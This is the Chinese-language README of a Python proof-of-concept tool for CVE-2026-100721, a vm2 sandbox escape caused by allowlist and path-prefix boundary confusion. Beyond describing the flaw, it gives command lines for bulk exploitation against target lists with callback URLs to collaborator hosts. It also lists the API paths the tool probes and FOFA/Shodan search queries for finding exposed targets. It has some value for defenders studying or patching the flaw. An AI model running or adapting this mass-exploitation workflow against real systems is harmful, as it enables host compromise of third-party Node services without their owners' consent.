针对 CVE-2026-100721 的 Python 3 PoC —— vm2(npm)3.12.2 之前版本在 NodeVM 外部模块解析器中存在授权不当问题,当不受信任的 JavaScript 在配置不当的嵌入器中运行时,会导致沙箱逃逸和宿主机端代码执行。
PoC 页面: https://pocbit.org/pocs/cve-2026-100721
vm2 是一个广泛使用的 Node.js 库,用于在同一 Node 进程内的沙箱中运行不受信任的 JavaScript。应用程序使用 NodeVM 并施加如下限制:
require.builtin —— 客户代码可以加载哪些核心模块(fs、child_process 等)require.external —— npm 包名的允许列表(例如仅允许 left-pad、lodash)require.resolve —— 指向宿主机控制的插件或依赖目录的自定义解析器context: 'host' —— 通过真实的宿主机 require() 加载外部包(出于性能考虑很常见)典型的嵌入器包括:用户脚本平台、低代码运行器、插件市场、在线 IDE、自动化沙箱以及内部的“安全 eval”微服务。
CVE-2026-100721 是 vm2 在判断客户 require("package-name") 是否被允许时存在的授权不当问题(CWE-863)。
在多个 vm2 版本中修复了两个相关缺陷(同一类 bug —— 名称/路径边界混淆):
允许列表预检查会从 left-pad 之类的条目构建模式,但没有强制完整的包名边界。客户代码可以请求 evil-left-pad,因为该字符串包含 left-pad。如果该冲突包存在于自定义解析器可到达的路径上,vm2 会在宿主机上下文中加载它。顶层模块代码在沙箱包装之前运行 → child_process、文件读取、机密信息等。
lib/resolver-compat.js,在 3.12.2 中修复)当自定义解析器与 context: 'host' 一起使用时,vm2 使用前缀正则表达式记录允许的目录,而没有严格的路径分隔符/结束边界。客户之后可以 require() 一个绝对路径指向未列入允许列表的兄弟目录(例如当仅允许 foo 时,加载 .../node_modules/foo2/index.js)。该兄弟目录通过了 isPathAllowedForModule 检查并在宿主机进程中执行。
受影响: vm2 < 3.12.2(CVE-2026-100721)。相关的名称冲突修复也在 3.11.7 中落地。
已修复: 升级到 vm2 ≥ 3.12.2(并保持最新)。
| 指标 | 值 |
|---|---|
| CVSS 3.1 | 9.0 严重 —— AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 严重(Rapid7 / VulnCheck) |
| 认证 | 利用链通常始于沙箱内的低权限代码执行(公告中为 PR:L) |
| 致谢 | 腾讯玄武实验室 XlabAI、Atuin 引擎、Guannan Wang 等 |
远程“单个 HTTP 请求即可 RCE”并非普遍适用。实际利用链需要:
require.external 允许列表 + 通常还有自定义 require.resolve。context: 'host'(或等效的宿主机加载方式)。当这些条件同时满足时,影响是宿主机 Node 完全沦陷 —— 而不仅仅是客户沙箱被滥用。
| 模式 | 行为 |
|---|---|
--lab | 权威本地利用:lab/ 安装 vm2 3.11.5,构建 evil-left-pad,演示 POCBIT-100721-HOST_EXEC(与厂商公告一致) |
check | 远程 vm2 指纹识别(package.json、lockfile、JS 打包文件),版本 < 3.12.2,可选的 --probe-exec 针对常见沙箱 API 路径 |
exploit | 可大规模执行的 POST,发送允许列表绕过探测 JS(evil-left-pad、冲突名称)到可配置的 --exec-paths;在响应中出现标记或沙箱 API 表面 + --callback-url 时标记为 exploited |
| 批量执行 | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
PoCbit JSONL 字段: 每行包含 pocbit、pocbit_catalog、pocbit_page。
CLI: 绿色/品红色 PoCbit 横幅,[EXPLOIT] / [SENT] / [FAIL] / [HIT] 着色(使用 --no-color 禁用)。
重要: 远程利用模式针对的是你配置的 HTTP 沙箱运行器。若要进行纯库验证,请使用 python poc.py --lab(需要 Node.js + npm)。
pip install -r requirements.txt
| 组件 | 用途 |
|---|---|
| Python 3.9+ | 扫描器 / 批量驱动 |
| Node.js + npm | 仅用于 --lab(推荐用于理解该 CVE) |
cd CVE-2026-100721
python poc.py --lab
在存在漏洞的 vm2 上的预期输出:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
自定义客户脚本:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
输出:
cve_2026_100721_exploit.jsonl —— 每个目标的 JSONexploited.txt —— 出现逃逸标记、回调表面或沙箱 API 命中的目标驱动程序会探测常见模式(使用 --exec-paths 覆盖):
/api/run、/api/eval、/api/execute、/api/sandbox/run、/api/vm/run、/api/code/run、/run、/execute、/eval、/api/v1/run、/api/playground/run 等。
尝试的 JSON body 字段:code、script、source、javascript、js、payload 等(使用 --code-field 覆盖)。
内置的利用 JS 会循环尝试冲突包名,例如 evil-left-pad(允许列表绕过 PoC)。在已托管该冲突包的存在漏洞的嵌入器上:
require("evil-left-pad"); // 宿主机顶层代码运行 → 沙箱逃逸
本地 lab/poc.js 使用 external: ['left-pad']、builtin: [] 和自定义 resolve 实现了完整的可信公告场景。
require。npm ls vm2、SBOM、容器扫描、Shodan/FOFA 搜索“playground” + Node 技术栈。body="vm2"
header="Express"
title="playground"
body="/api/eval"
body="NodeVM"
结合暴露的 /package-lock.json 或 /node_modules/vm2/package.json(配置错误)来确认版本。
仅在你获得授权测试的系统和 npm 项目上使用。沙箱逃逸等同于宿主机沦陷。